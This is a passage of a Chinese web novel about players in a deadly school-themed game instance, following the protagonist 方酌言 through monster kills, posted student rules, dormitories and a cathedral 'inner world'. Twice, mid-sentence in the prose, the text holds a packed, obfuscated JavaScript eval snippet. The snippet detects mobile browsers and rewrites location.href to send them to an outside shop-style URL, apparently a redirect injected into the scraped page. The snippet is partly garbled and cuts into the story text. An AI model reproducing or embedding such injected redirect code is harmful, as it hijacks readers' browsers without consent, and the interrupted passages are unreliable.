【后来，「美梦」变为「李华」同学最喜欢的单词。】 【非是“sweet dream”，而是——“pipe dream”。】 【叮咚——！】 【检测到主线NPC的强烈意愿，支线任务三（击鼓传花），游戏规则更改。】 【任务玩法（新）：将“pipe dream”染上独特的颜色（如新鲜血液一般的红色），需要具备一定的流动性（即不干掉）。】 【检测到支线任务三仅剩3人参与，难度斟酌降低。】 【任务玩法（新）之简单提示：在「李华」打瞌睡的期间，用「异端」的血，去填满她的「美梦」。】 【「美梦」填满之际，便是「赢者」诞生之时——谁猎杀的「异端」多，谁就是赢家。】 【除以上规则，解除「不许讲话」的唯一纪律。】 【「李华」打瞌睡倒计时——6......5......4......】 面板上数字快速更换，右护法【李华】的头随之向桌子坠去。 【3......2......1......0——】 【李华】睡了过去。 但，全教室的「异端」却“醒”了过来。 如今击鼓传花的参与者只剩下三个人。 除方酌言跟楼宿雪外，还有那个在第二轮扔绿拖鞋救人的玩家。 可此刻，方酌言无暇顾及绿拖鞋玩家，他跟随楼宿雪，一脚踢飞前侧方想要靠近自己的异端，而楼宿雪踢飞了后方的异端。 这些异端给方酌言的感觉很奇怪，他们虽然能移动，但像是畏惧着什么，不敢真正去靠近玩家们。 教室里有9位玩家，于异端而言，没有游戏失败者与正在进行者之分。 除了3位参与者，其余6位玩家同样受异端的攻击。 而处理这些低能儿异端非常容易，普通地击杀掉就OK。 当然，这对于方酌言来说，便不是容易的了。 主要吧，他一没武器，二没道具，三是技能「归寂之手」用的时候难免会先遭受到异端的伤害。 ——「归寂之手」施放的前提，是触碰他人。 好吧......方酌言也并非完全不去用它。 他在SFZY里学得很杂，其中包含了一些“自卫”的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159637|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身法，颇为轻巧地躲过异端的攻击，然后抬手一碰，异端瞬间变为肉干死尸。 “......” 方酌言望着干得不能再干的肉干。 ——啧......这还怎么取血。 他想了想，决定还是少伸手得好。 “学弟！看这里！” 范云澜站在讲台桌子上，一手叉着腰，一手拿着黑板擦，还顺带踢走了下面抓他脚的异端......它的头都被踢得爆浆了。 喷得到处都是。温热的脑浆还不慎小心地糊了「乌鸦」一头。 「乌鸦」站在左护法的位置，嘴角控制不住地抽搐，额头青筋暴起，两只手被她自己拳得很紧，扭过头恶狠狠瞪着范云澜，宛若饿了很久的母老虎： “范！云！澜！你他爹的找死是不是！” “啊哈哈哈......抱歉啊抱歉......没控制好力度......”范云澜眼见不对，害怕地往后缩了缩身子。 然后就见「乌鸦」连看不看身旁正奔过来的异端，抬起一手直接将它锤爆，砸成一地的血块。 范云澜果断合掌说：“对不起！对不起！女王大人您大人有大量就放过小的我吧！” 「乌鸦」翻了个白眼后，连理都不想再理他，从玩家背包里掏出几张强力湿巾纸，擦干净脸，接着取出两根绷带紧紧缠在手上。血红的双目一抬，暴力式地虐杀起了异端。 范云澜见此，很有眼力见地跳下讲台，决定不在「乌鸦」的眼前晃荡，转而来到了方酌言的身边，将手里拿着的黑板擦交给方酌言。 范云澜劫后余生，笑着说：“学弟，白送的道具，你要不要？” 方酌言当然要。 他接手后，面板跳出来了： 【道具：魏莎的黑板擦。】 【等级：B级】 【类型：攻击类，功能类（具有一定的清洁作用）】 【介绍：由「不太干净的黑板擦」进化得来（因受到NPC魏莎「微怒版」触碰），目前攻击力300（足以将一块50厘米厚的铁块拍到变形）。】 啊......魏莎的技能竟然是个免费道具提取器。 方酌言有个小小的坏心思——他想看看魏莎在「暴怒」的情况下，触碰到的物品是否能进化成更高级别的道具。 道德心疯狂下降。但此举能实现他的道具自由。 楼宿雪站在方酌言的身旁，轻声笑了笑：“言言，看来你也想到了呢。那......下了课后，要约定去找魏老师补课吗？” 楼宿雪就像是拥有了读心术一样，完全猜中了方酌言的心。 抢先方酌言开口的，是范云澜：“我也想去！能带上可怜又贫穷的学长我吗？” 方酌言：“......” 楼宿雪：“......”他似笑非笑地看向范云澜，“怎么不行呢，学长。” 范云澜发出了电灯一般的亮度，边欣喜若狂边举起身旁的课桌，往后门一扔，三四个异端被迎面而来的课桌拍成了一大摊肉酱。 “那就这么说定了！” 11. 李华的世界 此时的教室，仅用三个字就可以概括出来： ——脏，乱，差。 满地的血腥画面。 若是放在现实世界，只能是全部都打好了马赛克才能发出去。 肉块、骨块、血沫掺杂在一起，难以分辨。 玩家身上的校服被鲜血染湿染透。他们不像是去上学的，倒像是屠宰场里的嗜血屠夫，仿佛只有新鲜血液的味道才能让其恢复片刻的理智......其实也大差不差了，几近杀红了眼。 自第四轮开始，仅仅十分钟，「异端」或者说是被同化而成的「异端」——皆亡。 可这是不得已的事情。倘若他们不去做，那么现下死的，就会是他们。 方酌言甩了甩黑板擦上的血，望向刚跳出来不久的玩家面板。 【异端击杀数目记录。】 【无编号玩家，击杀数目：4】 【排行：4】 下面还有一行红色小字：【「点击」可查看总排行。】 于是，方酌言抬手点了一下，下一秒页面跳转，出现了一个列表： 【异端击杀数目，总排行榜。】 【NO.1：玩家？？？（匿名中）】 【击杀数目：12】 【NO.2：玩家「白鲨」】 【击杀数目：7】 【NO.3：玩家「鲨鱼」】 【击杀数目：4（并列，但玩家等级高，优先排名）】 【NO.4：无编号玩家】 【击杀数目：4（并列，因玩家目前无等级，后置排名）】 ............ 【NO.9：玩家「无编号」】 【击杀数目：0】 方酌言愣了愣。 ......楼宿雪竟然一个异端都没动。 系统开始播报： 【因以上部分玩家曾在前三轮游戏中，失去过传“花”的资格，排名重算——】 【NO.1：玩家？？？（匿名中）】 【NO.2：无编号玩家】 【NO.3：玩家「无编号」】 方才黑板上还黏着的人皮，如今浮在半空。 确切地说，是立在瞌睡版【李华】的头上。 “pipe dream”自人皮上跳落，一飘一飘地落进了【李华】的脑袋里——单词被她吸收了。 紧接着，人皮变为一小团绿色乱码，当着所有玩家的面消失了。 【已决胜出支线任务三的「赢者」——玩家？？？（匿名中）】 【支线任务三完成。】 【奖励已发放至该玩家的背包。】 【奖励一：「S级道具」德赛琉丝的心脏（部分）】 【奖励二：一份神秘的武器盲盒（待抽取）】 【奖励三：「虚无」神的一份允诺（待使用）】 【奖励四：副本探索度+10%（个人增加，已发放），附赠「记忆小瓶」（待使用）】 面向全部玩家及直播观众的奖励内容，只有这些。 具体详细的内容，比如“该玩家是否立刻使用奖励物品”“是否丢弃此奖励物品”......那就属于玩家个人的隐私了。 是不被系统播报的。 当然，如果有玩家想公开，自然也是可以的。 正如现在的这位匿名玩家，他百无聊赖地公开了自己的一部分隐私。 【玩家已设置页面「公开」模式。】 【玩家名称：米迦勒】 【玩家等级：SS级】 【游戏会员认证：黑金王者卡——神使者之一】 直播间炸了锅： 【我靠！这才是「李华」副本里的唯一真神啊！其他人跟「米迦勒」大佬一比，说他们是“小虾米”都算是抬举了。】 【吼吼吼，只要不触犯到大佬，不去惹大佬不开心，想必「李华的世界」这个副本即便等级再怎么提高，也能苟到最后吧。】 【......活下来的玩家困难局直接变成躺赢局。我再也不说我兄弟是过副本是“躺赢狗”了，因为真正的“躺赢狗”已经易主，而且还不止一个。】 【虽然大佬「公开」了信息，但这只是「公开」给我们观众看的。突然好想看......当副本里的玩家，茫然知道“远古真神大佬竟在我身边”的那个画面！】 【那可太爽了！蹲一波！】 【+1蹲蹲！】 ............ 副本里。 下课铃......应该说是放学铃打响了。 「米迦勒」走出教室，对着玩家面板一滑一点再一点，很快调出【背包】。 手指向下一滑，停在了背包最底下的【神秘的武器盲盒】上。 「米迦勒」的另一只手抵住下巴，不知在想什么，整个人定格在这一刻。 良久，他停在玩家面板上的手指一蜷，转瞬伸直后长按着【神秘的武器盲盒】，接着将其拖移起来，扔进了背包垃圾桶里。 直播间的观众在疯狂扣问号。 他们听系统正在播报： 【玩家「米迦勒」，已丢弃支线任务三「奖励二」。】 【经游戏综合运算，「奖励二」将下放至NO.2「无编号玩家」的背包。】 与此同时，方酌言刚迈出教室一步，耳边就出现起系统的电子音来。 【玩家？？？（匿名中）放弃「奖励二」，由后一排名的玩家领取。】 【「神秘的武器盲盒」已自动收进玩家的背包。】 方酌言一怔，望着跳出来的蓝色面板： 【玩家是否使用（抽取）该盲盒。】 【是】or【否】 方酌言没搞清楚。 ......系统究竟是在犯抽，还是匿名玩家在跟他开玩笑。 他抬起眼，望向已经走远了的匿名玩家，想了想，决定还是过后再开这个盲盒。 楼宿雪后脚踏出教室，他一臂揽住范云澜的脖子，笑着对身边人说：“学长，你击杀的异端这么多......看来玩家等级不低啊。是S吗？” 范云澜“呵呵”两声 ，任由楼宿雪把手搭在自己的身上，毕竟是好兄弟，很正常。 范云澜说：“是又怎样，不是又怎样。”这种事他见多了。在弱肉强食的世界中，弱者要么被“吃”掉，要么去找寻强者庇护。 范云澜嫌麻烦......不，他们S级的玩家都是这样。一旦被弱者盯上，想抽身就难了。 不过......他觉得楼宿雪不是那样的人。这主要吧，他有一种莫名其妙的感觉——对方要 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“「白鲨」......还有门外站着的那两位，你们先别着急离开。” 教室里只有「乌鸦」一人。她抬着头，盯紧黑板旁边的墙，神情三分诧异七分凝重。 范云澜最先返回教室，问道：“怎么了......”他顺着「乌鸦」的视线，抬头往上看——墙上挂着一个白蓝两色相接的塑料牌子。 后面跟来的方酌言与楼宿雪神情也凝重了起来。 牌子上写着四个黑色大字——【学生手册】。 它是刚刚出现的。 他们敢肯定，先前玩家们都还在的时候，墙上是没有它的。 【————学生守则————】 【1.见到老师请你主动问好，离开时要和老师说再见。 2.早上八点必须到教室，下午五点半必须离开教学楼。不迟到、早退，不随便缺勤，有事需提前请假，并出示假条。 3.请你按时或提前两分钟到达课堂，上课不允许随意出入教室。 4.请不要将零食带到学校，不要在上课时吃东西。 5.桌椅、教室是你的学习伙伴，请爱惜它们。 6.当你听课有困难时，可以告诉老师，老师会很高兴地帮你。 7.所有作业必须是你自己完成的，且考试不许作弊。 8.可以在你的座位上与老师讲话。 9.当老师提问时，你要大胆发言，说出自己的看法和观点，老师会支持和鼓励你的。 10.离开教室后,请马上回宿舍。不按时回宿舍,宿管阿姨会很担心。 11.学生三餐是统一的，皆在宿舍进食，由宿管阿姨准时发放。】 甫一，仅剩的10名玩家脑海中都响起系统电子音的声音： 【玩家「乌鸦」、玩家「白鲨」、玩家「无编号」、无编号玩家，已探索并解锁了「学生守则」的内容。】 【「学生守则」公开至玩家面板——】 面板自动跳出，上面出现了守则的11条内容，紧接着： 【从现在开始，请余下玩家严格规范自己，争做一名三山中学的三好学生。】 12. 李华的世界 「学生守则」出来后，几人很听话地选择遵从第10条规则，往宿舍前进。 毕竟，经历了先前的种种，没人会去找死挑战副本的权威。 方酌言大概能猜到，「宿管阿姨会担心」到底是怎么个担心法了。 按游戏副本的尿性，「宿管」十有八九不会是个“好”阿姨。 “嗯哼，”楼宿雪双手抱臂，挑了一下眉，边走边说：“我看这不是学校。而是监狱。” “呵呵，这还用得着你说？”范云澜皮笑肉不笑地：“我曾经下过不少校园副本，对于里面的通关路数摸索得还算清楚......” 方酌言说：“可这次不一样了。对吗？” “......”范云澜顿时哑口。他叹了口气，心有力而力竭地：“我就这么跟你说吧，我、「乌鸦」，还有SFZY的那个罗特工「烈阳」，都是游戏里「工会」的成员。而这个副本，有「工会」需要的东西......当然，你们也看到了，想要得到它的人，不只有我们。” 方酌言：“你是说......匿名的那位玩家？” 范云澜点点头，又摇摇头，双手一摆，语气恹恹：“可能吧。或许等我们很幸运地拿到手出去后，还要进行一场抢夺战。嗯......”他想了想，“也许是连环抢夺战。” 「乌鸦」走在最前面，平静如水道：“必要时刻，我会选择重拟外貌混迹人群，然后悄无声息地离开副本登入地，而不是像你跟「烈阳」一样变成杀人疯子。” “呵呵，谢谢您的夸奖，「乌鸦」小姐......啊！好痛！好痛！”美丽文静的「乌鸦」小姐深深踩了一下范云澜的脚背。 楼宿雪看在眼里，差点笑出了眼泪，“够了，我心疼你，范兄。” 方酌言却并不觉得好笑，只有对脑海中想要得到答案的渴求感。他问：“你们想要得到的是什么？” “......”「乌鸦」顿住脚，眯了眯眼，带有探究性的目光望着他，少顷哂笑：“方家的少爷，这好像不是你该问的吧。” 方酌言却突然转了个话题，令人十分猝不及防地：“我需要一个交代。” “嗯？”「乌鸦」不解，“你什么意思？” 方酌言向前走了两步，靠近「乌鸦」，两人距离三十公分。「乌鸦」有些诧异地想往后退......她对方酌言有着天生的恐惧，尽管她不想承认——可当她听完青年问出的一句话后，反而往前一步拎住了对方的校服领子。 方酌言问的是：“在现实世界中，我们是不是见过？” “对，是见过几次。”「乌鸦」紧紧拽着他，“但我以为，你已经忘了......” “什么？”方酌言一愣，尽量不让自己的右手碰到她。 范云澜关键时刻很少掉链子，赶紧拉住「乌鸦」远离方酌言，“喂！你又发什么神经......” 「乌鸦」怒狠狠瞪着方酌言，许久才松开拽着衣领子的手，一扭头，对着范云澜冷冷道：“滚开。” 范云澜：“......”行，他滚。 旋即就见「乌鸦」一人走进了女生宿舍。 楼宿雪站在方酌言跟前，“言言，你迷茫了。” “......”方酌言垂下眼睛，“我不知道......在我的记忆里，确实看到过她的身影，但很模糊......” 楼宿雪轻笑一声，“真是一点都不可爱。”他欠身附耳于方酌言：“你居然有这么多情人嘛，多到......就连你自己都记不清了吗？” 方酌言愠怒地抬起眼，快速推开楼宿雪，瞪着他，“你有病，就去治。” 楼宿雪听笑了：“好吧，我是有病，而且不是一天两天了。不过很可惜，这里没有药店也拿不了药，更不要说是医院陪护了。” “......” 方酌言绕过他，朝男生宿舍的方向走。 ——眼不见耳不听心不烦，就让这疯子自言自语吧。 一进去，方酌言就被一阵咳嗽声止住了脚步。 宿管小屋里走出来一个老人。 ——女性，满脸褶皱。她的眼睛是暗蓝色的，眼皮沉重地耷拉下来，眼睫毛一颤一颤煽动着；不是正常人的鼻子，硬要讲的话，像是鬼故事里女巫会长的尖挺鹰鼻；嘴巴呈暗紫色，一看就气血不足，但在老人怪异的微笑下，这个结论便立刻被拍散了。 “咳咳......嘻嘻......你们好啊，三株健硕的小幼苗。我是新来的1号楼宿管，请问有什么需要帮助的吗？” 【已解锁NPC：1号楼宿管阿姨】 【其他：五分之一的英国血统，年迈老人，体弱多病。】 小幼苗方酌言：“有。” 宿管阿姨迷之微笑，等待小幼苗说出帮助。 小幼苗说：“阿姨，新学期刚分的班，我们不知道自己住几楼几号，麻烦你查查了。” “哦......这样啊。那我帮你们查查......”宿管阿姨回小屋找了找，不久后拿着几张A4纸出来了，她问道：“几年级？几班的？” “高三，15班。” 宿管阿姨蓦然顿住。 手指似是惊恐地一松，几张A4纸“哗啦”坠落。 “高三......没有......不......呜呜呜......”宿管阿姨双手捂住脸，崩溃大哭。她像是失去了孩子的母亲，自我沉浸，哭诉这世界给她带来的伤痛。 方酌言听不清她在说什么，楼宿雪跟范云澜自然也听不清。 迫于无奈，他们想把A4纸捡起来，自己找宿舍楼号。 “找到了！” 范云澜指着，“方酌言，1号楼，地下......”他看着后面的信息，不可置信地说出来：“地下十八层，1802室......” 方酌言的脸色瞬间冻住了。 范云澜接着道：“楼宿雪，1号楼，地下十八层，1803室。” “范云澜......1号楼，地下十八层，1803室。” 楼宿雪语气淡淡地：“十八层地狱，那是死人才会住的地方。另外，” 他垂下眼，甫一抬起头望 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“这......”范云澜再次指着手里的A4纸，一小步一小步挪动，来到方酌言跟楼宿雪面前。 方酌言一看，表格上面写着——方酌言，1号楼，4层402室。 下面紧接着——楼宿雪，1号楼，4层403室。 再下面——范云澜，1号楼，4层403室。 这怎么可能？ 难道说宿管的幻视幻听......也会影响他们？ 宿管阿姨一深吸一吐气，再一深吸再一吐气......她自己轻轻拍了两下脑袋，从口袋里摸出一张皱皱巴巴的纸擦干净嘴脸，对着【李华】笑笑： “是你啊，小李。多亏你还记得......” 【李华】羞涩地摸了摸自己的后脑勺，“没事的刘姨。哦对了！这几个是我班里的同学，新宿舍刚分的......我带他们上去吧。” 宿管阿姨身体打着颤，不知是身体不舒服还是怎么的，疼痛性地咳嗽了两下，点点头：“那就麻烦......你了。” 方酌言对于这温馨的画面，感到一丝莫名的诡异。 他几不可察地拧了一下眉。 【李华】提起暖水壶，走上楼梯，突然顿住，扭头看向楼下正站着的哨兵三人组，眯起眼睛笑。 “方方，楼楼，范范，你们仨杵在那干嘛呢？还不快跟上，一会儿就要吃晚饭了。” “......” 晴天霹雳，天降巨雷，三人宛如被雷劈糊了一样呆住。 方方看看范范，范范看看楼楼，楼楼瞪着方方......大眼瞪小眼。 ——神他妈的方方、范范、楼楼。 见人不动，【李华】轻声“啧”了一声，打算下楼找他们——可她最终没有这样做。 楼宿雪是第一个抬脚的，他很有意思地说了句：“好的呢，李李。我们这就来。” 13. 李华的世界 三山中学虽然卫生环境称不上如何好，教学质量也同样不怎么样。 但有一说一，它这儿的住宿条件确实挺不错的。 ——两人一宿舍，还包三餐配送。 楼宿雪跟范云澜一宿舍，他俩住403室。 方酌言被分配到了旁边的402室，舍友幸运又不幸运的是NPC【李华】。 “方方，你不吃吗？今晚送来的是beef burger（牛肉汉堡）......” 【李华】同学偷觑方酌言的神情，结果却正正和方酌言打量她的眼神对上了。 “你为......为什么这样看着我？”【李华】脸一红，问道。 方酌言收回视线，看着自己桌子上的beef burger，他没有动，看了小一会儿才开口问：“李同学，你认识宿管......刘姨？” “嗯，她跟我一个村，开学还是她送我来的。”【李华】想了想，补充道：“我无父无母，却是我们村里唯一考上的高中生，大家都......你明白的，都对我多少抱有期待，但高考让他们失望了......不过没关系！” 她攥起拳头，做出一个宣誓的动作，非常励志地：“这次我要更加的努力，一定会考上985清北的！” 方酌言撕开汉堡包装的手顿了一下，点点头：“嗯，我相信你。你一定会的，【李华】。” 此话一出，【李华】似是受到了来自天神的鼓舞，瞬间打满鸡血。 她两三口解决完beef burger后，就立刻从书包掏出英语书，背起了单词。 看架势，今晚与单词势必有一场血战。 坐在床边的方酌言则对着汉堡陷入了深思。 从副本开始至今，只有【支线任务】的跟进，能在根本上通关的【主线任务】却一直未有进展。 ——【帮助高三复读生「李华」顺利毕业，并完成他的一生心愿。】 究竟怎么个帮助法，【李华】的一生心愿又是什么......这些通通都不知道，也茫无头绪。 方酌言记得，匿名玩家获得的奖励里，有一项是有关【李华】部分剧情的。 ——【记忆小瓶】。 他想，或许可以同那位匿名玩家做场交易。 不过此想法刚一出来，就被他扼杀在了摇篮里——方酌言很清楚，此时的他还没有足够的筹码去做那场交易。 方酌言咬了一口汉堡。 味同嚼蜡，两片面包很干瘪，里面的牛肉饼放了不少胡椒粉，有些冲鼻子，生菜仅仅两片，酱料是沙拉酱跟番茄酱的融合，还有一点点芝士的存在。 总结就是：勉强是人吃的东西。 可是，要知道，一个正常的中学，是不会出现这种不健康的食物。 这不得不让方酌言想起楼宿雪的一句话：【我看这不是学校。而是监狱。】 日月更替，晚夜很快降临。 402室异样的寂静。 自【李华】忘我地开始努力背单词，这个房间就一直没有人说过话。 直到九点半的熄灯哨声响起。 【李华】合上英语书，揉了揉使用过度的眼睛，又伸了个舒服的懒腰。 她走到自己的床边，一屁股坐下，望向对面床上正平躺着的方酌言。 方酌言抬着手，对着头顶上昏暗的灯光，用戴手套的左手摩挲白皙的右手。 【李华】没忍住道：“话说，你是玩Cosplay（角色扮演）的吗？” “为什么会这么讲？”方酌言连动都没动，问她。 【李华】扑通一声往床上倒去，想了想，没承想一不小心笑出了声，“大概是你不同于常人的长相吧。” “......” 方酌言没明白这两者有什么牵扯，也并不明白NPC会突然问出这么一个无关紧要的问题。 下一秒，仅留下的灯光瞬时熄灭。 “方方，晚安。” 【李华】柔柔地说。 方酌言在黑暗中睁着眼，面不改色地： “嗯，晚安。” ......不知道楼宿雪那边是什么样的。 此刻，隔壁403室。 “喂，你有没有听到什么动静？” 范云澜躺在床上，闭着眼小声问，结果很久都没人回话。 他只当楼宿雪是头猪，认为对方灯一熄倒头就睡着了。 实际就是如此。 楼宿雪在灯关上的那一刻，意识很快朦胧，闭上眼就陷进了梦乡。 范云澜也没坚持多久。 身体不受控制地开始疲惫。眼皮抽搐，直到两眼彻底阖上。 不光是他，旁的玩家也在这一瞬昏睡了过去。 待意识再次回笼，玩家们皆是一震。 已不是二人舒坦的宿舍场景。 ——现下，他们身处在一处大教堂中。 宏伟壮观，富丽堂皇。 典型的西欧中世纪哥特式建筑。 神圣，庄严。 玩家坐在教堂中殿的第一排长椅上，正对着前方最中央耶稣怀抱羔羊的善牧像。 神像跟前是一个巨大的祭坛。花草拥簇于石坛边缘，带有细微沁人的香气。坛中灌满清水，倒映出头顶上方玫瑰窗的神迹。 神像后边竖立着庞大的管风琴。中殿两侧墙壁的彩色玻璃窗拼贴出圣经故事、宗教象征等壮丽的图案，太阳光透过时会在中殿内投射出五彩斑斓的光影。 殿内最为不缺的，就是雕像——圣父像威严，雕刻在穹顶壁画中，象征创世与审判；圣灵像以鸽子形象贯穿其中，象征神圣降临，与圣父、耶稣组成“三位一体”群雕；耶稣的十二使徒，以及圣米迦勒，圣凯瑟琳，圣安东尼，圣女贞德......它们的目光汇聚在一点——耶稣善牧像。 玩家面板突然蹦出，闪着金光的字幕落在海蓝色的背景板上： 【神性的极致华丽，一次凡人的视觉朝圣。】 【玩家已登入「李华的世界」里世界1号：里尼亚大教堂。】 【主线任务正式触发。】 【主线任务：帮助高三复读生「李华」顺利毕业，并完成他的一生心愿。】 【已更新主线任务（详细版）。】 【任务前提介绍：「李华」的一生有七个阶段，从出生到求学工作，再到结婚生子......每个阶段都有一个愿望。她是个普通人，做着最为普通的梦。她希望一生顺遂。】 【——顺利毕业的不仅仅是「学校」，更是「人生」。】 【主线任务（详细版）：在七天内替「李华」写完7封不同体 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方酌言望着面板上的任务栏，手指向下划动了两下，甫一又向上划到最顶。 在极具混乱的任务消息中，很快理清楚几个关键点： 一是交信时间为晚祷。差不多就是晚上六点。 二是要找到【李华】。寄信人是玩家，收信人是李华，而写信人为【李华】——李华与【李华】显然不是同一人。 三是《如何学习》的方法。需要玩家观景，可观的什么景就要另说了。方酌言觉得，不太可能只是普通的观赏里尼亚大教堂。 四是“首日”“7封信”与“里世界1号”。这说明，在【副本时间：7天】内，至少存在7个里世界。极大可能是每天写一封信，一共7封信。 方酌言收回了玩家面板。 他突然想起罗扬跟他说过，只要苟住了主线任务，那便是成功通关。 可显然，主线任务并不是嘴上说说就能苟下来的。 如果说完成支线任务的过程，会导致部分玩家失败身亡，致使余下的玩家陷入恐慌。 那主线任务的发布，则是连头绪都没有，就要动身出发——这并不符合游戏的设计理论。 在绝大多数游戏中，主线任务往往都是过剧情一类的。 ......玩家跟随系统指引，几近无脑地去过剧情，然后从剧情里得出感受......明显，副本「李华的世界」算是异类。 空间一片寂静。 教堂中殿只有玩家十位，从左到右挨个坐着。 最右边的四眼仔十指互相摩挲，发着抖，极具不安地瞥了瞥耶稣善牧像。 神像面容慈爱，手掌轻抚着小羊羔的头，雕刻的很是生动形象......就像是真的活过来了似的。 但在见到慈爱的耶稣眼球貌似转动了一下，望向他坐的地方......四眼仔不确定地揉了一下眼。 ......虽然只是细微的变化，也可能是他因恐惧产生的自我幻觉...... 四眼仔使劲憋了憋，最终还是忍不住地说了出来： “你们有谁知道，耶稣会下凡......查探民情吗？” 14. 李华的世界 “......” 中殿内寂静得要死。 此刻恐怕就是掉一根细小的银针，都能听得一清二楚。 没人去回答四眼仔的弱智问题。 因为看到耶稣神像动的不止他一个人——是全部玩家都看到了。 但也仅仅只是动了一下眼球，之后它就再也没过了。 当然，这并不能保证，之后的之后它不会再动。 方酌言旁边坐着的，一个是楼宿雪，另一个则是四眼仔......曾在「击鼓传花」任务里，被匿名玩家用绿拖鞋救下的那位。 而四眼仔旁边之人，就是「击鼓传花」NO.1的匿名玩家。 匿名玩家没有穿校服，他一身的白。上面白色夹克，下面白色休闲裤，散发出的气质远远不匹配他那张普通的面孔。 其实，在场玩家都没穿校服。 目前方酌言套在身上的衣服，是他进入游戏副本之前的那身——博柏利的黑色长款风衣，左手腕上搭配着百达翡丽6002G......往上看是一张五官比例完美到变态的脸。 矜贵，疏离，一分都触碰不得。 唯一美中不足的，大概就是左手与右手一个戴手套一个没戴手套的异类感了。 身旁，楼宿雪的穿着是极简风。 他倚靠在长椅上，大马金刀地坐着。黑色冲锋衣没有拉上拉链，露出里面黑色的紧身衣，勾勒出楼宿雪身上健硕紧实的肌肉......方酌言眼睛一抬，望向对方正含笑同样看他的双目，蓦然怔住。 那眼神像是在说“亲爱的，你想看就大胆看，千万别憋着”。 方酌言宛如被捉到尾巴的猫一样，赶紧移开视线，不再看他。 这份寂静并不长久。 介于主线任务有时间限制，需要在晚祷六点之前找出【李华】，并写出一封《如何学习》的信件，而后递交出去这封信。 总而言之，他们不可能一直这么呆坐下去等死。 方酌言决定静观其变。 看得出来，这里大佬众多，无论如何都还轮不到他一个小喽啰出头。 他很认同罗大特工的观点——“苟”字为最。 最先做出动作的，是匿名玩家。 他的嘴角噙着一丝看不透的笑意，起身朝耶稣的十二使徒神像走去。 待走到圣米迦勒手握十字长矛像时，脚步停住，抬头望着这个石雕，神情不变，语气淡淡地：“毫无灵气的雕刻手法。真丑。” 没人听懂他的意思，也没人知道他为什么会格外注意到这无关副本任务的一处。 匿名玩家回头，朝四眼仔望去，不耐烦地眯起眼睛，说道：“还不走？耶稣可没我这么多耐心去关照你，宫本家的二货。” 四眼仔紧张站起，脚底生火一样蹿到匿名玩家身后，嘴里还不忘嘀咕几句：“神经病......疯子......我就一B级怎么可能......” 中殿响起一声冷笑：“说什么呢。信不信我现在就让你见到天国的‘耶稣’。” “......”天国是信徒死后灵魂得以升入的极乐之地。可四眼仔本崽并不是谁的信徒，也并不想灵魂升入天国。 旋即，四眼仔在其余八位玩家不解的目光下，小嘴紧紧一闭，然后屁颠屁颠地跟上匿名玩家走出了中殿。 剩下八位不是蠢蛋。 匿名玩家的离去，说明中殿一定存在着某种危险，继续待下去十有八九会出事。 于是，八个人各自组队。以「白鲨」范云澜为代表，小队成员分别是罗扬与【乌鸦】。还有三人犹犹豫豫组合成了一队。最后方酌言跟楼宿雪一队。 范云澜小队决定先出去探探这个里尼亚大教堂，找找【李华】或是信件内容的线索。另外的三人小队也是这样决定的，甫一前脚后脚的也出了中殿。 只有方酌言跟楼宿雪还停留原地。 范云澜其实邀请过他们一队的，但都被谢绝了，原因是方酌言跟楼宿雪想先留在中殿观察一番。 耀眼的光刺进方酌言的眼里，他难受地抬起手遮光。 “你觉得，为什么会出现「里世界」这一概念。” 楼宿雪突然一问。 方酌言没理他，收回手后便自顾自地观察起墙壁上的神像。 楼宿雪见此并不恼火。他看着方酌言游走在玫瑰窗映射下的彩虹斑点中，轻声笑了笑，“那就先听听我的见解吧，亲爱的。” “源于人类对未知的好奇与对现实局限的突破——现实世界存在规则、秩序和诸多不可得的遗憾，里世界就成了承载欲望、恐惧、隐秘真相的载体。” “比如......《寂静岭》的里世界是主角内心创伤的具象化，把抽象的心理恐惧转化为可感知的物理空间。” 楼宿雪看到方酌言的身体明显一顿。出于想逗人的心思，他笑着向对方走去。 “这契合了‘表里二元对立’的思维。二元划分能快速构建戏剧冲突，让故事在现实与非现实的切换中产生张力，同时也能隐喻现实中被掩盖的社会问题与人性阴暗面。” 楼宿雪捏起方酌言的一小撮头发，在手里摩挲。 正当他想靠近闻一下对方的味道时，方酌言开口了：“【李华】的心理创伤，在于全村希望她考上顶尖的大学，却因英语的偏科导致了高考失利。所以，主线任务里世界的7封信件，必然离不开「英语」与「高考」。” 楼宿雪半眯着眼睛，松开了那撮银丝，然后绕到方酌言身前，四目相对。 他抬起右手，大拇指跟食指相对一捏，却并没有真正捏合在一起。他笑笑，“只猜对了一半。”说完又捏进了一下，强调道：“一小半。” “还有「一生」，对吗？” 方酌言平静地望着楼宿雪。他就像是一潭永远不为任何事物起波澜的静水，审视着万物。 “不知道你有没有听过一个说法——「高考是人一生的转折点」。绝对公平的阶级分化的开端，是「高考」。” “考进一个好的大学，意味着一个三辈子走不出大山的人，能依靠即将要接触的技能、知识与人际关系，翻身成为‘有钱人’。” 方酌言抬起左手，向楼宿雪展示起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159641|196586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己腕上的名贵金表。 他语气丝毫没有起伏，宛如陈述一个索然无味的故事：“这并不是绝对的。「考进一个好的大学」与「成为有钱人」不是对等关系，她仍然会贫穷。” “——绝对的公平是建立于自私之上的。” “富人家的孩子，即便身体残缺或是天生脑残是个傻子，在家人不抛弃他的前提下，他的一生也将会是她三辈子达不到的高峰。” 方酌言垂下手，一帧一帧观看楼宿雪的笑容消失术，口中说着令人讨厌的话。 